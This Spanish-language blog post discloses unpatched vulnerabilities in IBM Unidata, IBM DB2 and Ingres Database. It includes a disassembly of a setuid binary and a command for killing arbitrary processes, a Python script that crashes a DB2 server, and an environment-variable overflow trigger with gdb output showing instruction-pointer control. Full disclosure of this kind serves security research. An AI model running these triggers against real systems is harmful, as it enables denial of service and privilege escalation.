Casi 0days de llorar…
Muchas veces haciendo ingeniería inversa (o mero fuzzing) de algún software encontramos vulnerabilidades que no valen para vender por uno u otro motivo (por ejemplo, porque son puñeteros DOSes) pero que podrían ser útiles o interesantes aunque solo sea por ver que fallas se encuentran en ciertos softwares «empresariales». En este caso os voy a hablar de algunas vulnerabilidades de este tipo que me he encontrado y que tengo por costumbre no reportarlas al vendedor cuando ha habido trato previo y han pasado de mí o han tardado más de 3 meses en dar la respuesta inicial…
Bug local estúpido en IBM Unidata
Este curioso bug que afecta todas las versiones de IBM Unidata para Unix y Linux se encuentra en el binario setuid root «udt_signal». La vulnerabilidad está aquí:
│.text:08048480
│.text:08048480 uid = dword ptr -20h
│.text:08048480 sig = dword ptr -1Ch
│.text:08048480 n = dword ptr -18h
│.text:08048480 s = dword ptr -14h
│.text:08048480 argc = byte ptr 4
│.text:08048480 argv = dword ptr 8
│.text:08048480
│.text:08048480 lea ecx, [esp+argc]
│.text:08048484 and esp, 0FFFFFFF0h
│.text:08048487 push dword ptr [ecx-4]
│.text:0804848A push ebp
│.text:0804848B mov ebp, esp
│.text:0804848D push ebx
│.text:0804848E push ecx
│.text:0804848F sub esp, 10h
│.text:08048492 mov eax, [ecx+4]
│.text:08048495 cmp dword ptr [ecx], 2
│.text:08048498 jle short loc_80484F1 ; exit if argc <= 2
│.text:0804849A mov [esp+20h+s], 0
│.text:080484A2 mov [esp+20h+n], 0Ah
│.text:080484AA mov [esp+20h+sig], 0
│.text:080484B2 mov eax, [eax+4]
│.text:080484B5 mov [esp+20h+uid], eax
│.text:080484B8 call ___strtol_internal ; Convert 2nd parameter to number
│.text:080484BD mov [esp+20h+uid], 0
│.text:080484C4 mov ebx, eax
│.text:080484C6 call _setuid ; setuid(0)
│.text:080484CB add eax, 1
│.text:080484CE jz short loc_8048518 ; Exit if can not change the user context
│.text:080484D0 mov [esp+20h+sig], SIGUSR2
│.text:080484D8 mov [esp+20h+uid], ebx
│.text:080484DB call _kill ; It’s really funy!
│.text:080484E0 add eax, 1
│.text:080484E3 jnz short loc_8048549
│.text:080484E5 mov [esp+20h+uid], 1
│.text:080484EC call _exit
Esta falla permite envíar la señal SIGUSR2 (con cualquier usuario) a cualquier proceso del sistema. El comportamiento habitual de un programa que corra en Unix/Linux cuando recibe la señal SIGUSR2 si no está controlada es morir, salir abruptamente. Así pues, se puede aprovechar esta cualidad para matar la mayoría de procesos del sistema que se estén ejecutando, como por ejemplo cualquier shell (bash, sh, etc…) o procesos en batch. Ejemplo complicado:
$ /usr/ud72/bin/udt_signal pid numero_que_te_da_igual
Este bug no lo comuniqué a IBM porque ya había tenido una «grata» experiencia previa con ellos: Primero me decían que no había contacto de seguridad, luego que no sabían, luego lo envié a un conocido de IBM con el que ya había hablado anteriormente por un bug en «dtterm» en IBM AIX y, bueno, tardé más de 3 meses en siquiera comunicarles la siguiente falla.
Denegacion de Servicio Post-Autenticación en IBM DB2
En función de como se llamen a los procedimientos almacenados en IBM DB2 se puede encontrar una vulnerabilidad bastante tonta: Utilizando binding variables y poniendo un espacio entre el nombre del esquema y el procedimiento o función IBM DB2 obtiene un puntero nulo buscando en la base de datos ese esquema o procedimiento, sin embargo, otra comprobación que hace (esta vez si correctamente) le dice que existe ese SCHEMA.PROCEDURE y asume que va todo bien. Resultado: Todo el servidor de base de datos se va al garete. El bug se puede reproducir fácilmente así:
import sys
import DB2
global connection
def connect():
global connection
connDict = {}
connDict["dsn"] = "sample"
connDict["uid"] = "test"
connDict["pwd"] = "test1"
connection = DB2.connect(**connDict)
def main():
global connection
global funnydata
connect()
cur = connection.cursor()
cur.callproc("SYSPROC .HASNICKNAMECHANGED", (‘TEST’, None, None, None, None, None))
for x in cur.fetchall():
print "Value is", x, var2
cur.close()
if __name__ == "__main__":
main()
Así de simple, un espacio en el nombre del esquema y, kaboom! Este fallo me costó más de 3 meses reportarlo hace más de 1 año y medio. Vamos, creo que ya era hora de sacar a la luz tan sumamente estúpido bug aún por corregir.
Escalada de privilegios local en Ingres Database
Este es el típico stack overflow en un binario suid (eso sí, suid ingres, no suid root, por desgracia…) de esos de los años 70 que a día de hoy todo el mundo supone que no existen… Bueno, pues ya se ve que siguen existiendo. Un trigger de esta vulnerabilidad:
[joxean@dhcppc2 utility]$ export II_INSTALLATION=`perl -e 'print "P"x258;'``echo -e "\x60\x60\x60\x60"`DCBAccccnnnnxxxx [joxean@dhcppc2 utility]$ gdb csreport (gdb) r Starting program: /opt/Ingres/IngresII/ingres/utility/csreport Program received signal SIGSEGV, Segmentation fault. 0x78787878 in ?? () (gdb) i r eax 0x0 0 ecx 0x80bf2a0 135000736 edx 0x0 0 ebx 0x60606060 1616928864 esp 0xbffdf9c0 0xbffdf9c0 ebp 0x6e6e6e6e 0x6e6e6e6e esi 0x41424344 1094861636 edi 0x63636363 1667457891 eip 0x78787878 0x78787878
Como podéis ver es super triste. Intenté comunicarme con Ingres hace ya más de 1 año y medio y no conseguí nada. Por otra parte, al ser open source, me bajé el código para intentar corregirlo por mi parte y, pffff… Si alguien lo entiende después de bajárselo que me avise. Pondría el asm de la vulnerabilidad pero… ¿Realmente a alguien le interesa ver un puto stack overflow de toda la vida con una variable de entorno no controlada? Definitivamente no.
Al igual que esta vulnerabilidad, en el informe que intenté envíar aparecían estas otras vulnerabilidades tristemente tristes:
1) "verifydb" long username or long database name stack overflow 2) "wakeup" II_ADMIN environment variable overflow 3) Multiple binaries II_INSTALLATION environment variable overflow
Todos estos binarios son suid ingres así que, ya sabéis, cualquiera puede tomar el control de la base de datos y el software de base de datos de Ingres aprovechando un stack overflow en un binario suid. Bienvenidos a los años 70!
Estas vulnerabilidades no es que sean «precisamente la oxtia» ya que, como he comentado, son fallas que me he encontrado y que no eran gran cosa pero, sea como sea, da una buena idea de como está el mundo de la seguridad informática en el software que utilizamos a diario. Yo he pensado alguna en meterme a fumar porros para que se me quita la paranoia que tengo de que todo software que usamos tiene como mínimo una vulnerabilidad remotamente explotable…
Bueno, espero que os haya gustado este mini-post, ya sé que no es gran cosa, pero me hacía ilusión sacar viejas fallas a la luz. En el siguiente post os hablaré de fallas en Informix IDS 11.5, la última versión hoy por hoy de este software. Un saludo!